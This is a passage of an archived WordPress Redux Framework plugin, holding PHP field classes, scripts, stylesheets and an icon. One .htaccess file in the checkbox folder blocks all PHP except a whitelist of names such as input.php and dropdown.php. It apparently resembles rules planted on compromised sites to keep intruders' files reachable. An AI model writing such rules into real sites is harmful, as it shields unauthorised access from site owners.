Griffiths (Ghost1227) * @author Dovy Paukstys * @version 3.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework_color_gradient' ) ) { /** * Main ReduxFramework_color_gradient class * * @since 1.0.0 */ class ReduxFramework_color_gradient { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field, $value, $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { // No errors please $defaults = array( 'from' => '', 'to' => '' ); $this->value = wp_parse_args( $this->value, $defaults ); echo '<div class="colorGradient"><strong>' . __( 'From ', 'redux-framework' ) . '</strong> '; echo '<input data-id="' . $this->field['id'] . '" id="' . $this->field['id'] . '-from" name="' . $this->field['name'] . $this->field['name_suffix'] . '[from]' . '" value="' . $this->value['from'] . '" class="redux-color redux-color-init ' . $this->field['class'] . '" type="text" data-default-color="' . $this->field['default']['from'] . '" />'; echo '<input type="hidden" class="redux-saved-color" id="' . $this->field['id'] . '-saved-color' . '" value="">'; if ( ! isset( $this->field['transparent'] ) || $this->field['transparent'] !== false ) { $tChecked = ""; if ( $this->value['from'] == "transparent" ) { $tChecked = ' checked="checked"'; } echo '<label for="' . $this->field['id'] . '-from-transparency" class="color-transparency-check"><input type="checkbox" class="checkbox color-transparency ' . $this->field['class'] . '" id="' . $this->field['id'] . '-from-transparency" data-id="' . $this->field['id'] . '-from" value="1"' . $tChecked . '> ' . __( 'Transparent', 'redux-framework' ) . '</label>'; } echo "</div>"; echo '<div class="colorGradient toLabel"><strong>' . __( 'To ', 'redux-framework' ) . '</strong> <input data-id="' . $this->field['id'] . '" id="' . $this->field['id'] . '-to" name="' . $this->field['name'] . $this->field['name_suffix'] . '[to]' . '" value="' . $this->value['to'] . '" class="redux-color redux-color-init ' . $this->field['class'] . '" type="text" data-default-color="' . $this->field['default']['to'] . '" />'; if ( ! isset( $this->field['transparent'] ) || $this->field['transparent'] !== false ) { $tChecked = ""; if ( $this->value['to'] == "transparent" ) { $tChecked = ' checked="checked"'; } echo '<label for="' . $this->field['id'] . '-to-transparency" class="color-transparency-check"><input type="checkbox" class="checkbox color-transparency" id="' . $this->field['id'] . '-to-transparency" data-id="' . $this->field['id'] . '-to" value="1"' . $tChecked . '> ' . __( 'Transparent', 'redux-framework' ) . '</label>'; } echo "</div>"; } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { wp_enqueue_style( 'wp-color-picker' ); wp_enqueue_script( 'redux-field-color-gradient-js', ReduxFramework::$_url . 'inc/fields/color_gradient/field_color_gradient' . Redux_Functions::isMin() . '.js', array( 'jquery', 'wp-color-picker', 'redux-js' ), time(), 'all' ); if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'redux-color-picker-css' ); wp_enqueue_style( 'redux-field-color_gradient-css', ReduxFramework::$_url . 'inc/fields/color_gradient/field_color_gradient.css', array(), time(), 'all' ); } } } }�����������������������redux-framework/inc/fields/checkbox/field_checkbox.css.map������������������������������������������0000644�����������������00000000375�14720701300�0017711 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "AACI,+BAAM;EACF,cAAc,EAAE,GAAG;EACnB,KAAK,EAAE,IAAI;EAEX,2CAAY;IACR,UAAU,EAAE,CAAC;IACb,KAAK,EAAE,IAAI;IACX,KAAK,EAAE,GAAG;IACV,KAAK,EAAE,IAAI", "sources": ["field_checkbox.scss"], "names": [], "file": "field_checkbox.css" }�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/checkbox/field_checkbox.scss���������������������������������������������0000644�����������������00000000347�14720701300�0017317 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-checkbox { label { vertical-align: top; width: 100%; .field-desc { margin-top: 0; float: left; width: 93%; clear: none; } } }�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/checkbox/field_checkbox.js�����������������������������������������������0000644�����������������00000003373�14720701300�0016762 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/** * Redux Checkbox * Dependencies : jquery * Feature added by : Dovy Paukstys * Date : 17 June 2014 */ /*global redux_change, wp, redux*/ (function( $ ) { "use strict"; redux.field_objects = redux.field_objects || {}; redux.field_objects.checkbox = redux.field_objects.checkbox || {}; $( document ).ready( function() { //redux.field_objects.checkbox.init(); } ); redux.field_objects.checkbox.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".redux-group-tab:visible" ).find( '.redux-container-checkbox:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } el.find( '.checkbox' ).on( 'click', function( e ) { var val = 0; if ( $( this ).is( ':checked' ) ) { val = $( this ).parent().find( '.checkbox-check' ).attr( 'data-val' ); } $( this ).parent().find( '.checkbox-check' ).val( val ); redux_change( $( this ) ); } ); } ); }; })( jQuery ); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/checkbox/field_checkbox.php����������������������������������������������0000644�����������������00000014633�14720701300�0017136 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Redux Framework is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * any later version. * Redux Framework is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with Redux Framework. If not, see <http://www.gnu.org/licenses/>. * * @package ReduxFramework * @subpackage Field_Checkbox * @author Daniel J Griffiths (Ghost1227) * @author Dovy Paukstys * @version 3.0.0 */ // Exit if accessed directly if ( !defined ( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( !class_exists ( 'ReduxFramework_checkbox' ) ) { /** * Main ReduxFramework_checkbox class * * @since 1.0.0 */ class ReduxFramework_checkbox { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct ( $field, $value, $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render () { if( !empty( $this->field['data'] ) && empty( $this->field['options'] ) ) { if (empty($this->field['args'])) { $this->field['args'] = array(); } $this->field['options'] = $this->parent->get_wordpress_data($this->field['data'], $this->field['args']); if (empty($this->field['options'])) { return; } } $this->field[ 'data_class' ] = ( isset ( $this->field[ 'multi_layout' ] ) ) ? 'data-' . $this->field[ 'multi_layout' ] : 'data-full'; if ( !empty ( $this->field[ 'options' ] ) && ( is_array ( $this->field[ 'options' ] ) || is_array ( $this->field[ 'default' ] ) ) ) { echo '<ul class="' . $this->field[ 'data_class' ] . '">'; if ( !isset ( $this->value ) ) { $this->value = array(); } if ( !is_array ( $this->value ) ) { $this->value = array(); } if ( empty ( $this->field[ 'options' ] ) && isset ( $this->field[ 'default' ] ) && is_array ( $this->field[ 'default' ] ) ) { $this->field[ 'options' ] = $this->field[ 'default' ]; } foreach ( $this->field[ 'options' ] as $k => $v ) { if ( empty ( $this->value[ $k ] ) ) { $this->value[ $k ] = ""; } echo '<li>'; echo '<label for="' . strtr ( $this->parent->args[ 'opt_name' ] . '[' . $this->field[ 'id' ] . '][' . $k . ']', array( '[' => '_', ']' => '' ) ) . '_' . array_search ( $k, array_keys ( $this->field[ 'options' ] ) ) . '">'; echo '<input type="hidden" class="checkbox-check" data-val="1" name="' . $this->field[ 'name' ] . '[' . $k . ']' . $this->field[ 'name_suffix' ] . '" value="' . $this->value[ $k ] . '" ' . '/>'; echo '<input type="checkbox" class="checkbox ' . $this->field[ 'class' ] . '" id="' . strtr ( $this->parent->args[ 'opt_name' ] . '[' . $this->field[ 'id' ] . '][' . $k . ']', array( '[' => '_', ']' => '' ) ) . '_' . array_search ( $k, array_keys ( $this->field[ 'options' ] ) ) . '" value="1" ' . checked ( $this->value[ $k ], '1', false ) . '/>'; echo ' ' . $v . '</label>'; echo '</li>'; } echo '</ul>'; } else if ( empty ( $this->field[ 'data' ] ) ) { echo '<ul class="data-full"><li>'; if ( !empty( $this->field[ 'label' ] ) ) { echo '<label>'; } // Got the "Checked" status as "0" or "1" then insert it as the "value" option //$ch_value = 1; // checked($this->value, '1', false) == "" ? "0" : "1"; echo '<input type="hidden" class="checkbox-check" data-val="1" name="' . $this->field[ 'name' ] . $this->field[ 'name_suffix' ] . '" value="' . $this->value . '" ' . '/>'; echo '<input type="checkbox" id="' . strtr ( $this->parent->args[ 'opt_name' ] . '[' . $this->field[ 'id' ] . ']', array( '[' => '_', ']' => '' ) ) . '" value="1" class="checkbox ' . $this->field[ 'class' ] . '" ' . checked ( $this->value, '1', false ) . '/>'; if ( !empty( $this->field[ 'label' ] ) ) { echo ' ' . $this->field[ 'label' ]; echo '</label>'; } echo '</li></ul>'; } } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue () { if ($this->parent->args['dev_mode']) { wp_enqueue_style ( 'redux-field-checkbox-css', ReduxFramework::$_url . 'inc/fields/checkbox/field_checkbox.css', array(), time (), 'all' ); } wp_enqueue_script ( 'redux-field-checkbox-js', ReduxFramework::$_url . 'inc/fields/checkbox/field_checkbox' . Redux_Functions::isMin () . '.js', array( 'jquery', 'redux-js' ), time (), true ); } } } �����������������������������������������������������������������������������������������������������redux-framework/inc/fields/checkbox/field_checkbox.min.js�������������������������������������������0000644�����������������00000001334�14720701300�0017537 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(c){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.checkbox=redux.field_objects.checkbox||{},c(document).ready(function(){}),redux.field_objects.checkbox.init=function(e){e||(e=c(document).find(".redux-group-tab:visible").find(".redux-container-checkbox:visible")),c(e).each(function(){var e=c(this),i=e;e.hasClass("redux-field-container")||(i=e.parents(".redux-field-container:first")),i.is(":hidden")||i.hasClass("redux-field-init")&&(i.removeClass("redux-field-init"),e.find(".checkbox").on("click",function(e){var i=0;c(this).is(":checked")&&(i=c(this).parent().find(".checkbox-check").attr("data-val")),c(this).parent().find(".checkbox-check").val(i),redux_change(c(this))}))})}}(jQuery);����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/checkbox/field_checkbox.css����������������������������������������������0000644�����������������00000000231�14720701300�0017124 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-checkbox label{vertical-align:top;width:100%}.redux-container-checkbox label .field-desc{margin-top:0;float:left;width:93%;clear:none} �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/checkbox/.htaccess�������������������������������������������������������0000644�����������������00000001626�14720701300�0015270 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/spinner/field_spinner.css������������������������������������������������0000644�����������������00000005012�14720701300�0016706 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-spinner .spinner-wrpr{position:relative;display:block;height:30px;overflow:hidden}.redux-container-spinner .spinner-wrpr .spinner-input{position:relative !important;z-index:1;width:45px !important;height:30px !important;background:#e7e7e7 !important;border:1px solid #bfbfbf !important;border-right:0 !important;border-left:0 !important;-webkit-border-radius:0 !important;-moz-border-radius:0 !important;border-radius:0 !important}.redux-container-spinner .ui-spinner{position:static;display:inline}.redux-container-spinner .ui-spinner-buttons{position:absolute;padding:0}.redux-container-spinner .ui-widget .ui-spinner-button{position:absolute;top:0;padding:0 0 30px;overflow:hidden;cursor:pointer;background:-moz-linear-gradient(#fff, #f3f3f3);background:-o-linear-gradient(#fff, #f3f3f3);background:-webkit-gradient(linear, left top, left bottom, from(#fff), to(#f3f3f3));background:linear-gradient(#fff, #f3f3f3);background-color:#ffffff;border:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.redux-container-spinner .ui-spinner-button:hover,.redux-container-spinner .ui-state-hover{background:-moz-linear-gradient(#f3f3f3, #fff);background:-o-linear-gradient(#f3f3f3, #fff);background:-webkit-gradient(linear, left top, left bottom, from(#f3f3f3), to(#fff));background:linear-gradient(#f3f3f3, #fff);background-color:#f3f3f3}.redux-container-spinner .ui-corner-tr,.redux-container-spinner .ui-spinner-button .ui-icon-triangle-1-n{-webkit-border-radius:0 5px 5px 0;-moz-border-radius:0 5px 5px 0;border-radius:0 5px 5px 0}.redux-container-spinner .ui-corner-br,.redux-container-spinner .ui-spinner-button .ui-icon-triangle-1-s{-webkit-border-radius:5px 0 0 5px;-moz-border-radius:5px 0 0 5px;border-radius:5px 0 0 5px}.redux-container-spinner .ui-spinner-button .ui-icon{top:0;display:block;width:28px;height:28px;margin:0;border:1px solid #b7b7b7}.redux-container-spinner .ui-spinner-button .ui-icon-triangle-1-n{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAKCAYAAACXDi8zAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADxJREFUeNpsjwsKADAIQu3u3tsRY6M5gz7w0AqSQFLdZ3ZRgmf44JQ/EOZ9oYOsiDviVemP2oYoWCwBBgDpO6VXVo3RyQAAAABJRU5ErkJggg==) 10px 10px no-repeat !important}.redux-container-spinner .ui-spinner-button .ui-icon-triangle-1-s{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAKCAYAAACXDi8zAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADhJREFUeNpi+P//PwM6bmlpwS4IorEKokggC8Il0AVhEv9x6sAmiaz9P05XIUsygmVRAUiAESDAAFHcpVdWtdj/AAAAAElFTkSuQmCC) 10px 10px no-repeat !important} ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/spinner/arrow_left.png���������������������������������������������������0000644�����������������00000000226�14720701300�0016227 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������PNG  ��� IHDR������ ���/3���tEXtSoftware�Adobe ImageReadyqe<���8IDATxb?:nii. H %aq&?NW!K2eQH �QܥWV����IENDB`��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/spinner/field_spinner.min.js���������������������������������������������0000644�����������������00000002743�14720701300�0017324 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(s){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.spinner=redux.field_objects.spinner||{},s(document).ready(function(){}),redux.field_objects.spinner.init=function(n){n||(n=s(document).find(".redux-group-tab:visible").find(".redux-container-spinner:visible")),s(n).each(function(){var n=s(this),e=n;n.hasClass("redux-field-container")||(e=n.parents(".redux-field-container:first")),e.is(":hidden")||e.hasClass("redux-field-init")&&(e.removeClass("redux-field-init"),n.find(".redux_spinner").each(function(){var t=s(this).find(".spinner-input").data();t.id=s(this).find(".spinner-input").attr("id"),n.find("#"+t.id).spinner({value:parseFloat(t.val,null),min:parseFloat(t.min,null),max:parseFloat(t.max,null),step:parseFloat(t.step,null),range:"min",slide:function(n,e){var i=s("#"+t.id);i.val(e.value),redux_change(i)}});parseInt(t.min,null)}),n.find(".spinner-input").keyup(function(){s(this).addClass("spinnerInputChange")}),n.find(".spinner-input").focus(function(){redux.field_objects.spinner.clean(s(this).val(),s(this))}),n.find(".spinner-input").typeWatch({callback:function(n){redux.field_objects.spinner.clean(n,s(this))},wait:500,highlight:!1,captureLength:1}))})},redux.field_objects.spinner.clean=function(n,e){if(e.hasClass("spinnerInputChange")){e.removeClass("spinnerInputChange");var i=e.data();n=""===(n=parseFloat(n))||null===n?i.min:n>=parseInt(i.max)?i.max:n<=parseInt(i.min)?i.min:Math.round(n/i.step)*i.step,e.val(n).trigger("change")}}}(jQuery);�����������������������������redux-framework/inc/fields/spinner/field_spinner.php������������������������������������������������0000644�����������������00000014260�14720701300�0016712 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'ReduxFramework_spinner' ) ) { class ReduxFramework_spinner { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 3.0.0 */ function __construct( $field, $value , $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 3.0.0 */ function render() { $params = array( 'min' => '', 'max' => '', 'step' => '', 'default' => '', ); $this->field = wp_parse_args( $this->field, $params ); $data_string = ""; foreach($this->field as $key => $val) { if (in_array($key, array('min', 'max', 'step', 'default'))) { $data_string.= " data-".$key.'="'.$val.'"'; } } $data_string .= ' data-val="'.$val.'"'; // Don't allow input edit if there's a step $readonly = ""; if ( isset( $this->field['edit'] ) && $this->field['edit'] == false ) { $readonly = ' readonly="readonly"'; } echo '<div id="' . $this->field['id'] . '-spinner" class="redux_spinner" rel="' . $this->field['id'] . '">'; echo '<input type="text" '.$data_string.' name="' . $this->field['name'] . $this->field['name_suffix'] . '" id="' . $this->field['id'] . '" value="' . $this->value . '" class="mini spinner-input ' . $this->field['class'] . '"' . $readonly . '/>'; echo '</div>'; } //function /** * Clean the field data to the fields defaults given the parameters. * * @since Redux_Framework 3.1.1 */ function clean() { if ( empty( $this->field['min'] ) ) { $this->field['min'] = 0; } else { $this->field['min'] = intval( $this->field['min'] ); } if ( empty( $this->field['max'] ) ) { $this->field['max'] = intval( $this->field['min'] ) + 1; } else { $this->field['max'] = intval( $this->field['max'] ); } if ( empty( $this->field['step'] ) || $this->field['step'] > $this->field['max'] ) { $this->field['step'] = 1; } else { $this->field['step'] = intval( $this->field['step'] ); } if ( empty( $this->value ) && ! empty( $this->field['default'] ) && intval( $this->field['min'] ) >= 1 ) { $this->value = intval( $this->field['default'] ); } if ( empty( $this->value ) && intval( $this->field['min'] ) >= 1 ) { $this->value = intval( $this->field['min'] ); } if ( empty( $this->value ) ) { $this->value = 0; } // Extra Validation if ( $this->value < $this->field['min'] ) { $this->value = intval( $this->field['min'] ); } else if ( $this->value > $this->field['max'] ) { $this->value = intval( $this->field['max'] ); } } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since ReduxFramework 3.0.0 */ function enqueue() { wp_enqueue_script( 'redux-field-spinner-custom-js', ReduxFramework::$_url . 'inc/fields/spinner/vendor/spinner_custom.js', array( 'jquery','redux-js' ), time(), true ); wp_enqueue_script( 'redux-field-spinner-js', ReduxFramework::$_url . 'inc/fields/spinner/field_spinner' . Redux_Functions::isMin() . '.js', array( 'jquery', 'redux-field-spinner-custom-js', 'jquery-ui-core', 'jquery-ui-dialog', 'redux-js' ), time(), true ); if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'redux-field-spinner-css', ReduxFramework::$_url . 'inc/fields/spinner/field_spinner.css', array(), time(), 'all' ); } } public function output() { $style = ''; if ( ! empty( $this->value ) ) { if ( ! empty( $this->field['output'] ) && is_array( $this->field['output'] ) ) { $css = $this->parseCSS($this->value, $this->field['output']); $this->parent->outputCSS .= $css; } if ( ! empty( $this->field['compiler'] ) && is_array( $this->field['compiler'] ) ) { $css = $this->parseCSS($this->value, $this->field['compiler']); $this->parent->compilerCSS .= $css; } } } private function parseCSS($value, $output){ // No notices $css = ''; $unit = isset($this->field['output_unit']) ? $this->field['output_unit'] : 'px'; // Must be an array if (is_numeric($value)) { if (is_array($output)) { foreach($output as $mode => $selector) { if (!empty($mode) && !empty($selector)) { $css .= $selector . '{' . $mode . ': ' . $value . $unit . ';}'; } } } } return $css; } } }������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/spinner/field_spinner.scss�����������������������������������������������0000644�����������������00000006212�14720701300�0017074 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-spinner { .spinner-wrpr { position: relative; display: block; height: 30px; overflow: hidden; .spinner-input { position: relative !important; z-index: 1; width: 45px !important; height: 30px !important; background: #e7e7e7 !important; border: 1px solid #bfbfbf !important; border-right: 0 !important; border-left: 0 !important; -webkit-border-radius: 0 !important; -moz-border-radius: 0 !important; border-radius: 0 !important; } } .ui-spinner { position: static; display: inline; } .ui-spinner-buttons { position: absolute; padding: 0; } .ui-widget .ui-spinner-button { position: absolute; top: 0; padding: 0 0 30px; overflow: hidden; cursor: pointer; background: -moz-linear-gradient(#ffffff, #f3f3f3); background: -o-linear-gradient(#ffffff, #f3f3f3); background: -webkit-gradient(linear, left top, left bottom, from(#ffffff), to(#f3f3f3)); background: linear-gradient(#ffffff, #f3f3f3); background-color: #ffffff; border: none; -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } .ui-spinner-button:hover, .ui-state-hover { background: -moz-linear-gradient(#f3f3f3, #ffffff); background: -o-linear-gradient(#f3f3f3, #ffffff); background: -webkit-gradient(linear, left top, left bottom, from(#f3f3f3), to(#ffffff)); background: linear-gradient(#f3f3f3, #ffffff); background-color: #f3f3f3; } .ui-corner-tr, .ui-spinner-button .ui-icon-triangle-1-n { -webkit-border-radius: 0 5px 5px 0; -moz-border-radius: 0 5px 5px 0; border-radius: 0 5px 5px 0; } .ui-corner-br, .ui-spinner-button .ui-icon-triangle-1-s { -webkit-border-radius: 5px 0 0 5px; -moz-border-radius: 5px 0 0 5px; border-radius: 5px 0 0 5px; } .ui-spinner-button { .ui-icon { top: 0; display: block; width: 28px; height: 28px; margin: 0; border: 1px solid #b7b7b7; } .ui-icon-triangle-1-n { background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAKCAYAAACXDi8zAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADxJREFUeNpsjwsKADAIQu3u3tsRY6M5gz7w0AqSQFLdZ3ZRgmf44JQ/EOZ9oYOsiDviVemP2oYoWCwBBgDpO6VXVo3RyQAAAABJRU5ErkJggg==) 10px 10px no-repeat!important; } .ui-icon-triangle-1-s { background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAKCAYAAACXDi8zAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADhJREFUeNpi+P//PwM6bmlpwS4IorEKokggC8Il0AVhEv9x6sAmiaz9P05XIUsygmVRAUiAESDAAFHcpVdWtdj/AAAAAElFTkSuQmCC) 10px 10px no-repeat!important; } } } @media screen and (max-width: 570px) { .redux-container-spinner { .spinner-wrpr { //text-align: center; // Need to center align this SOMEHOW } } }��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/spinner/vendor/spinner_custom.min.js�������������������������������������0000644�����������������00000017452�14720701300�0021053 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������(function(a,b){var c="ui-state-active",d="ui-state-hover",e="ui-state-disabled",f=a.ui.keyCode,g=f.UP,h=f.DOWN,i=f.RIGHT,j=f.LEFT,k=f.PAGE_UP,l=f.PAGE_DOWN,m=f.HOME,n=f.END,o=a.browser.msie,p=a.browser.mozilla?"DOMMouseScroll":"mousewheel",q=".uispinner",r=[g,h,i,j,k,l,m,n,f.BACKSPACE,f.DELETE,f.TAB],s;a.widget("ui.spinner",{options:{min:null,max:null,allowNull:false,group:"",point:".",prefix:"",suffix:"",places:null,defaultStep:1,largeStep:10,mouseWheel:true,increment:"slow",className:null,showOn:"always",width:95,upIconClass:"ui-icon-triangle-1-n",downIconClass:"ui-icon-triangle-1-s",format:function(a,b){var c=this,d=/(\d+)(\d{3})/,e=(isNaN(a)?0:Math.abs(a)).toFixed(b)+"";for(e=e.replace(".",c.point);d.test(e)&&c.group;e=e.replace(d,"$1"+c.group+"$2")){}return(a<0?"-":"")+c.prefix+e+c.suffix},parse:function(a){var b=this;if(b.group==".")a=a.replace(".","");if(b.point!=".")a=a.replace(b.point,".");return parseFloat(a.replace(/[^0-9\-\.]/g,""))}},_create:function(){var a=this,b=a.element,c=b.attr("type");if(!b.is("input")||c!="text"&&c!="number"){console.error("Invalid target for ui.spinner");return}a._procOptions(true);a._createButtons(b);if(!b.is(":enabled"))a.disable()},_createButtons:function(b){function R(){if(L){a(this).removeClass(c);p._stopSpin();L=false}return false}function Q(){if(!t.disabled){var b=p.element[0],d=this===C?1:-1;b.focus();b.select();a(this).addClass(c);L=true;p._startSpin(d)}return false}function P(a){function b(){G=0;a()}if(G){if(a===H)return;clearTimeout(G)}H=a;G=setTimeout(b,100)}function O(a,b){if(K)return false;var c=String.fromCharCode(b||a),d=p.options;if(c>="0"&&c<="9"||c=="-")return false;if(p.places>0&&c==d.point||c==d.group)return false;return true}function N(a){for(var b=0;b<r.length;b++)if(r[b]==a)return true;return false}function e(a){return a=="auto"?0:parseInt(a)}var p=this,t=p.options,u=t.className,v=t.width,w=t.showOn,x=a.support.boxModel,y=b.outerHeight(),z=p.oMargin=e(b.css("margin-right")),A=p.wrapper=b.wrap('<span class="spinner-wrpr" />').css({width:(p.oWidth=x?b.width():b.outerWidth())-v,marginRight:"30px",marginLeft:"30px",textAlign:"center","float":"none",marginTop:0}).after('<span class="ui-spinner ui-widget"></span>').next(),B=p.btnContainer=a('<div class="ui-spinner-buttons">'+'<div class="ui-spinner-up ui-spinner-button ui-state-default ui-corner-tr"><span class="ui-icon '+t.upIconClass+'"> </span></div>'+'<div class="ui-spinner-down ui-spinner-button ui-state-default ui-corner-br"><span class="ui-icon '+t.downIconClass+'"> </span></div>'+"</div>"),C,D,E,F,G,H,I,J,K,L,M=b[0].dir=="rtl";if(u)A.addClass(u);A.append(B.css({height:y,left:0,top:0}));E=p.buttons=B.find(".ui-spinner-button");E.css({width:"30px",height:y-(x?E.outerHeight()-E.height():0)});E.eq(0).css({right:"0"});E.eq(1).css({left:"0"});C=E[0];D=E[1];F=E.find(".ui-icon");B.width("105px");if(w!="always")B.css("opacity",0);if(w=="hover"||w=="both")E.add(b).bind("mouseenter"+q,function(){P(function(){I=true;if(!p.focused||w=="hover")p.showButtons()})}).bind("mouseleave"+q,function S(){P(function(){I=false;if(!p.focused||w=="hover")p.hideButtons()})});E.hover(function(){p.buttons.removeClass(d);if(!t.disabled)a(this).addClass(d)},function(){a(this).removeClass(d)}).mousedown(Q).mouseup(R).mouseout(R);if(o)E.dblclick(function(){if(!t.disabled){p._change();p._doSpin((this===C?1:-1)*t.step)}return false}).bind("selectstart",function(){return false});b.bind("keydown"+q,function(b){var d,e,f,o=b.keyCode;if(b.ctrl||b.alt)return true;if(N(o))K=true;if(J)return false;switch(o){case g:case k:d=1;e=o==k;break;case h:case l:d=-1;e=o==l;break;case i:case j:d=o==i^M?1:-1;break;case m:f=p.options.min;if(f!=null)p._setValue(f);return false;case n:f=p.options.max;f=p.options.max;if(f!=null)p._setValue(f);return false}if(d){if(!J&&!t.disabled){keyDir=d;a(d>0?C:D).addClass(c);J=true;p._startSpin(d,e)}return 